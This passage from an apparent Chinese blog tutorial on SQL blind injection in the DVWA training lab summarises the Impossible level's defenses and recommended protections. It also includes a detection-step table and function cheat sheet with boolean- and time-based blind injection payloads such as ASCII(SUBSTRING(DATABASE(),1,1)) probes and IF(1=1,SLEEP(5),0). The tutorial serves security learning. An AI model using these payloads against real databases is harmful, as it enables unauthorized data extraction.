输入特殊字符 is_numeric()检查 ❌ 非数字直接被拒绝
闭合SQL语句 intval()强制转换 ❌ 输入被转为纯数字
执行恶意SQL PDO预处理 ❌ 数据与代码分离
批量获取数据 LIMIT 1 + rowCount()检查 ❌ 最多返回一条
CSRF攻击 Token验证 ❌ 无法伪造有效Token

六重防护叠加 ,使得SQL盲注攻击在Impossible级别下完全不可行


七、防御SQL盲注的最佳实践

通过DVWA四个级别的对比,我们可以总结出防御SQL盲注的最佳实践

7.1 必须实施的防御措施

措施 说明 优先级
参数化查询/预处理语句 使用PDO或MySQLi的预处理语句 ⭐⭐⭐⭐⭐
输入验证(白名单) 只允许特定格式的输入(如数字) ⭐⭐⭐⭐⭐
最小权限原则 数据库账号只授予必要的权限 ⭐⭐⭐⭐⭐
错误信息处理 不将数据库错误信息暴露给用户 ⭐⭐⭐⭐

7.2 推荐的辅助措施

措施 说明 优先级
CSRF Token 防止跨站请求伪造 ⭐⭐⭐⭐
Web应用防火墙(WAF) 检测和阻止恶意请求 ⭐⭐⭐
日志审计 记录所有数据库操作 ⭐⭐⭐
随机延迟 干扰时间盲注(但不能作为唯一手段) ⭐⭐

7.3 常见误区

在实际开发中,以下做法不能有效防御SQL盲注:

  • 仅使用mysqli_real_escape_string():数字型注入时完全无效(如Medium级别)

  • 仅使用下拉菜单限制:可被Burp Suite抓包绕过(如Medium级别)

  • 仅使用Cookie传参:可被手动构造请求绕过(如High级别)

  • 仅使用随机延迟:只干扰时间盲注,对布尔盲注无效(如High级别)

  • 依赖前端验证:攻击者可以绕过前端直接发请求


八、SQL盲注的实战检测思路

8.1 检测步骤

步骤 操作 示例
1. 验证注入点 构造真假条件,观察页面差异 1 AND 1=1 vs 1 AND 1=2
2. 判断注入类型 测试是否需要闭合引号 1'报错 → 字符型;1正常 → 数字型
3. 确定数据库长度 使用LENGTH(DATABASE()) 1 AND LENGTH(DATABASE())=4
4. 逐字符猜解数据库名 使用SUBSTRING()+ASCII() 1 AND ASCII(SUBSTRING(DATABASE(),1,1))=100
5. 逐层深入 表名 → 列名 → 数据 使用information_schema逐步推进

8.2 常用函数速查

函数 用途 示例
LENGTH() 获取字符串长度 LENGTH(DATABASE())
SUBSTRING(str,pos,len) 截取字符串 SUBSTRING(DATABASE(),1,1)
ASCII(char) 获取字符ASCII值 ASCII('d') → 100
SLEEP(seconds) 延迟指定秒数 SLEEP(5)
IF(cond,true,false) 条件判断 IF(1=1,SLEEP(5),0)
MID(str,pos,len) 截取字符串(同SUBSTRING) MID(@@version,1,1)

九、总结

本文围绕SQL盲注漏洞展开系统学习,我们理解其核心原理:服务器关闭SQL错误回显、不直接输出查询数据,攻击者仅能依靠页面布尔状态或响应延时差异逐位推断数据库信息,并分清依靠页面真假区分结果的布尔盲注、依靠延时函数判断逻辑成立与否的时间盲注两种主流盲注方式;我们完整实操Low级别攻击流程,布尔盲注通过真假条件判断注入点,搭配LENGTH、SUBSTRING、ASCII函数依次猜解库名、表名、字段与数据,时间盲注借助SLEEP延时函数验证注入可行性,结合IF条件语句完成数据猜解;逐级分析各安全等级防护缺陷,Medium依靠mysqli_real_escape_string转义仅能防护字符型注入,数字型参数可通过Burp抓包绕过前端下拉限制,High采用Cookie传参查询并增加随机延时干扰时间盲注,字符注入还需单引号闭合,Impossible整合CSRF Token、数值校验、intval强制转换、PDO预处理、查询行数限制、一次性令牌六层防护,彻底封堵盲注路径;同时梳理出参数化预处理查询、输入白名单校验、数据库最小权限、屏蔽详细报错信息等防御方案。SQL盲注属于SQL注入的特殊分支,攻击流程繁琐耗时,却是生产环境中最常见的注入形式,多数业务站点都会关闭数据库错误回显,依托DVWA的SQL盲注模块我们同步掌握两类盲注完整攻击流程与分层防护思路,在真实业务环境中落地PDO预处理语句、输入白名单校验、数据库最小权限的多重防护策略,能够从根源杜绝SQL盲注安全隐患。


**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

相关推荐
要开心吖ZSH4 小时前
MVCC 进阶:快照读 vs 当前读、幻读与 Next-Key Lock
java·数据库·sql·mysql·mvcc
云水一下6 小时前
DVWA从入门到精通(十):XSS (Reflected)(反射型XSS)
xss·dvwa·反射型
吴声子夜歌6 小时前
SQL进阶——HAVING子句
数据库·sql
吴声子夜歌8 小时前
SQL进阶——EXISTS谓词
java·数据库·sql
风中芦苇啊17 小时前
从直接生成到受控配置:新一代图表Agent的SQL安全生成范式
数据库·sql·安全
吴声子夜歌17 小时前
SQL进阶——窗口函数
数据库·sql
云水一下20 小时前
DVWA从入门到精通(四):CSRF(跨站请求伪造)
安全·csrf·dvwa
ClouGence21 小时前
SQL Server CDC 如何降低主库压力?Always On 备库读取实践
数据库·后端·sql·sqlserver
吴声子夜歌1 天前
SQL进阶——自连接
数据库·sql